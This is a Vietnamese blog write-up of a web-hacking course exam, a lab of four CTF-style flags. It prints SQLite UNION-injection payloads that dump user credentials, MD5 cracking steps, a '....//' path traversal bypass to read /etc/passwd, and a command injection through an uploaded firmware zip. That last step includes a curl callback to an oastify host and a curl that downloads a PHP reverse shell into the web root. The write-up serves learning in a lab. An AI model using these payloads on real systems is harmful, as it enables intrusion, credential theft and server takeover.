Final Exam Blind Hacking 0x03
Table of contents
Đến hẹn lại lên, cuối cùng thì CHH cũng public những bài thi đầu ra của khóa học Xóa mù lỗ hổng ứng dụng Web. Lần này có 4 bài thôi, ít hơn những lần trước nhưng các bài cũng đã có độ khó cao hơn (theo ý kiến cá nhân :v). Giờ thì chúng ta vào thôi nhỉ
Có 4 bài và giờ chúng ta sẽ đi qua từng bài luôn.
Bài thứ nhất
⇒ Đọc xong thì mình nghĩ lỗi để lấy flag 1 này có thể sẽ là SQL Injection. Tẹo nữa chúng ta sẽ đi cụ thể sau nhé.
Bài thứ hai
⇒ Với flag này thì là SQL Injection surevkl rồi. Description là lấy được pass dạng hash rồi crack sau đăng nhập là lấy được flag. Quá rõ ràng rồi
Bài thứ ba
⇒ Cái này thì có thể là Path Traversal rồi, hoặc SSRF, bla bla
Bài cuối cùng
⇒ Quá quen với CHH, chắc chắn đây là RCE rồi
Lướt lướt sương sương qua các bài như vậy thì mình đang có 2 hướng để làm bài :v
Hướng thứ nhất: làm bình thường, đi từng flag như mọi lần
Hướng thứ hai: vì mình đang ám ảnh với môn
Tấn công và phòng thủ hệ thống
của KMA nên mình sẽ chọn đi thẳng vào RCE luôn rồi sẽ đi lấy flag sau :v
Nhưng với mục tiêu của bài này là test đầu ra cho lớp xóa mù lỗ hổng nên mình sẽ đi theo hướng thứ nhất trong bài này (thực tế khi mình làm là theo hướng thứ hai :vvvvv)
Giờ thì đi tìm flag đầu tiên thôi
K03FE FLAG 1
Với giao diện là 1 trang đăng nhập như này còn có cả captcha nữa thì bruteforce sẽ khó khăn hơn rồi ⇒ Loại bỏ đi hướng bruteforce username/password nhé
Ctrl + U
lên để xem có gì tiếp không
Có 2 thứ mình để ý ở đây
Thứ nhất là file
captcha.php
: là file để gen ra captchaThứ hai là
/?action=status&type=version
: Để lấy version rồi ghi vào chỗ Firmware Version kia kìa
Như một thói quen, mình sẽ dirsearch trước ⇒ Luôn 302 về trang /?action=login
. Như vậy là sẽ phải dựa vào 2 dữ kiện bên trên để vào được bên trong rồi.
Với description ở flag thứ 2 thì khả năng có SQLi ở trang login này xấp xỉ là 0 rồi nhưng mình vẫn thử để chắc thôi. Và đúng như thế, nó không có SQLi ở trang đăng nhập này.
Như các bạn nhìn thấy có cái param action
kia nó sẽ nhận giá trị login
rồi trả mình về trang login đúng không? Vậy nó có path traversal ở đó không? Mình thử một vài payload sương sương thôi và khẳng định là không.
Với trang captcha.php thì cũng chỉ gen cho ta 1 cái captcha như này
Hết vẹo với trang này, giờ mình sẽ đến dữ kiện thứ hai. Mỗi lần vào trang index này thì nó sẽ gọi đến /?action=status&type=version
để lấy version 1.0.0 kia
Như vậy thì nó có lỗi gì ở đây không, với ngôn ngữ PHP thì mình sẽ gây lỗi để nó “phọt” ra mấy cái error message :vvv Ví dụ như này
Hoặc như này
Cái mình thu được ở đây là gì??? ⇒ Là path và 1 ít code thôi :v biết đâu nó hữu ích về sau thì sao.
Tại sao khi type=version
lại trả về 1.0.0? Liệu nó có dùng SQL để truy vấn ở đây không nhỉ? Hay nó sẽ đọc 1 file version
gì đó ở server nhỉ? Giờ thì mình sẽ test trước cái SQL vì chỉ cần dùng 2 dấu: 1 là dấu nháy đơn, 2 là dấu nháy kép để test xem nó có lỗi không. Còn với param action
kia thì nó cũng tương tự với trang login
rồi nếu truyền linh tinh thì nó cũng sẽ redirect về ?action=login
luôn. Giờ thì thử với param type
kia thôi. Khi search với dấu nháy đơn thì nó không có gì ngoài cái error message
Nhưng khi thử với dấu nháy đơn thì BOOOM
SQL đây rồi mình tưởng tượng câu query sẽ như sau
SELECT ... FROM ... WHERE type="$_GET['type']"
Giờ thì đi tìm số cột bằng order by
và tìm các bảng, các cột nữa là xong
Khi mình order by 3
thì nó vẫn ok, nhưng khi lên đến 4 thì nó khác rồi
⇒ Trong câu query này sẽ lấy ra 3 cột, giờ thì tìm cột được hiển thị ra thôi
Giờ có số cột, có cột hiển thị, tìm ra bảng và cột nữa
Tìm bảng với payload này
vlxx" union select 1,2,group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'--
Mình sẽ đi tìm các tên các cột với payload này
vlxx" union select 1,2,sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='table_name'--
Với bảng
configurations
thì có các cột như sauVới bảng
users
thì có các cột như sau
Có các cột rồi thì lấy các giá trị cần thiết thôi, đầu tiên là username và password trong bảng user với payload:
vlxx" union select 1,2,group_concat(username || '~' || password)from users--
Tiếp theo là name
và content
trong bảng configurations
Và giờ đã lấy được FLAG 1 rồi :vvv giờ vào FLAG 2 thôi
K03FE FLAG 2
Chúng ta cần password của user cookie
ở dạng hash md5, mà thông tin này thì lại được chúng ta lấy từ khi đang tìm flag 1 rồi, lấy giá trị hash đó đi crack.
Với crack password md5 thì mình thường sẽ dùng web luôn chứ không dùng tool như john
hay hashcat
đâu. Nhưng trong bài này thì mình sẽ làm hết.
Trang web đầu tiên mình hay dùng là Hashes, trang này thì có cả mấy cái pass của người Việt nữa luôn, mình cầm bản hash kia mang lên đây và nếu nó có trong db của họ thì sẽ được kết quả là
Trang web thứ hai đó là Crack Station mà mình được anh Tùng trong công ty chỉ khi mình mới vào và cũng là lấy được password admin của 1 trang web nào đó qua SQLi :vvv Cũng mang bản hash kia lên và nếu có trong db của nó thì chúng ta sẽ có cái cần tìm
Và khi dùng với john
thì mình sẽ chỉ cần như này, lưu nó vào 1 file và dùng john
:v Vì biết là md5 nên mình cho luôn format là Raw-MD5 để nó đỡ phải tìm
Tiếp theo là dùng hashcat
, với tool này thì mình cần truyền attack mode (-a
) và cả hash mode (-m
) nữa. Mình sẽ cần tìm hash mode là gì bằng cách dùng --help
. Mình dùng dạng wordlist để tìm ⇒ Dùng -a 0
, hash mode là md5 rồi thì mình chọn -m 0
Sau khi có password, ta chỉ cần login vào và lấy FLAG 2 thôi.
K03FE FLAG 3
Giờ chúng ta đi lướt qua các chức năng bên trong của web trước khi đi tìm flag nhóe.
Trang Home: chính là cái giao diện ở ảnh bên trên
Trang System:
Có 2 chức năng chính trong đây, thứ nhất là tải một file backup firmware về và nó có dạng như này
Chức năng thứ 2 là upload một file backup firmware như trên lên, và nó sẽ thay thế những file trong firmware cũ ⇒ Kiểu là upgrade lại những file kia bằng chính những file mà mình up lên
Chức năng View log
Đi hết các chức năng rồi, nhìn kỹ lại các ảnh bên trên thì mình và các param 1 lần nữa, các bạn có thấy cái param nào nó liên quan đến cái lỗi đọc file không???? Rõ ràng là trong cái chức năng View log
kia có luôn 1 cái param file
rõ như thế kia cơ mà.
Giờ thì mình chỉ cần xác định xem nó có lỗi ở đó không để mà chuyển hướng. Thử với payload này thì mình thấy nó bảo not found
../../../../../../../etc/passwd
Vậy thì khẳng định là nó không có lỗi à? Chưa đâu, mấy anh dev cũng thường replace cái ../
này thành rỗng lắm. Nếu như thế thì sẽ ra sao khi mình truyền ….//
? Nó sẽ bị replace ../
và trở thành ../
đúng như ý của mình rồi đúng không. Mình thử truyền vào xem nào và BOOMMMMMM
Và có cách nữa đó là chúng ta fuzz :v Trong Burp Suite Pro cũng có 1 wordlist cơ bản (trong bản Community thì mình không nhớ nữa :vvv)
Tuy nó không ra kết quả luôn nhưng cũng hint cho chúng ta cách để bypass rồi.
Như vậy là lấy được FLAG 03, giờ thì sẽ đi lấy cái cuối cùng thôi.
K03FE FLAG 4
Yêu cầu là đọc file /flagXXXX.txt
, sau khi đi qua các chức năng thì mình nghĩ đến Command Injection. Vậy thì còn chức năng ta chưa sử dụng nữa nhỉ. Chính nó cái chức năng System
.
Nó có 2 chức năng con là:
Download một file zip chứa các firmware
Upload 1 file zip chứa các firmware của mình để upgrade cho những firmware đang tồn tại trên hệ thống.
Ý tưởng của mình là sẽ download về ⇒ sửa những file trong đó ⇒ Zip lại ⇒ Upload lên để cho khi server sử dụng những hàm đó sẽ revershell về máy mình.
Có ý tưởng như vậy rồi giờ thì cần xác định xem nó có lỗi không, vì câu nói này
Nên là mình sẽ không làm cách đơn giản là chỉ đọc file flag, mà mình sẽ reverse shell về rồi đọc biết đâu có thể leo quyền lên root (vì môn Tấn công và phòng thủ hệ thống mình đang học mục đích cũng là leo lên root :V)
Để xác định lỗi, mình sẽ curl đến host của mình. Để làm như vậy thì mình cần tải file zip về đã, giải nén thì có 6 file, bạn nào làm chắc thì chèn payload vào cả 6 file cho chắc :v Mình test với từng file để biết cụ thể xem payload có được thực thi ở file đó không nữa. Đầu tiên mình sẽ chèn payload này vào file cat
curl gbvjtwo5d5xvzq6cetlsmtoi0960uqif.oastify.com
Xong rồi thì zip lại tất cả các file vừa tải và up lại lên
Khi back lại và BOOMMM, cái host của mình có request đến
Vậy thì surevkl là server đã sử dụng file cat
này ở đâu đó rồi giờ thì sẽ reverse shell về máy thôi. Giờ bạn nào muốn lấy flag luôn thì có thể lấy từ ở đây rồi. Nhưng mục đích của mình là reverse shell nên sẽ làm tiếp :v
Có nhiều cách để reverse shell, nhưng ở đây sẽ dùng cách tải một file PHP làm nhiệm vụ revershell về máy mình :v Đến lúc này cái path mà ta biết khi gây lỗi ở FLAG 01 mới hữu ích. Mình đoán là những file ở /www/public/
sẽ truy cập từ bên ngoài đến được nên mình sẽ tải file vào directory đó với payload:
curl https://raw.githubusercontent.com/ngductung/reverse_shell_php/master/php-reverse-shell.php -o /www/public/vlxa.php
Cái link kia sẽ chứa code của để reverse shell về
Nếu các bạn cũng muốn sử dụng nó thì sửa lại IP và PORT đến host của các bạn nhé.
Vẫn là sửa vào file cat
, zip lại và upload lên :v Refresh trang home đó, rồi thử vào file /vlxa.php
xem có cái kết nối nào về máy không nào
HEHE, xong rồi đây là flag
Khi reverse shell được rồi thì các bạn có thể nâng shell, leo quyền,… Bước tiếp theo của mình sẽ là lấy cái source về đã :v Vì server này không có zip (mình đoán chắc là docker rồi) nên mình có thể lấy source trên mạng hoặc nhờ ChatGPT nó gen ra cho, sau đó lại curl về và ném vào /www/pucblic/
. Và đây là kết quả khi đánh cắp source code hehe
Tại sao mình lại tải source về thì là để đọc và nghiên cứu kỹ hơn thôi, cũng là để mà khi CHH ẩn bài mình vẫn còn có thể build lên cho các bạn khác làm :vvvv
Và cuối cùng cũng xong 4 flag, chúng ta cũng nên kết thúc bài viết ở đây thôi.
Tổng kết
Khi đi qua 4 lỗi, mình đã ôn lại được những kiến thức về các lỗ hổng: SQLi, Path Traversal, CMDi và cả crack pass yếu nữa. Dù lần này hơi ít bài nhưng cũng tốn của mình kha khá thời gian cho FLAG 01 SQLi vì đã sai hướng quá nhiều, các lỗ hổng sau thì cũng mượt hơn nên tốn ít thời gian hơn so với lỗ hổng SQLi này :v Điều này cũng cho thấy mình còn nhiều thiếu xót và mong các bạn hãy cho mình những lời nhận xét để cải thiện những điểm yếu này. Và lời cuối cùng, cũng giống như bài trước. Chúc cho Cookie Hân Hoan mở nhiều lớp hơn và có nhiều challenge hơn nữa ❤️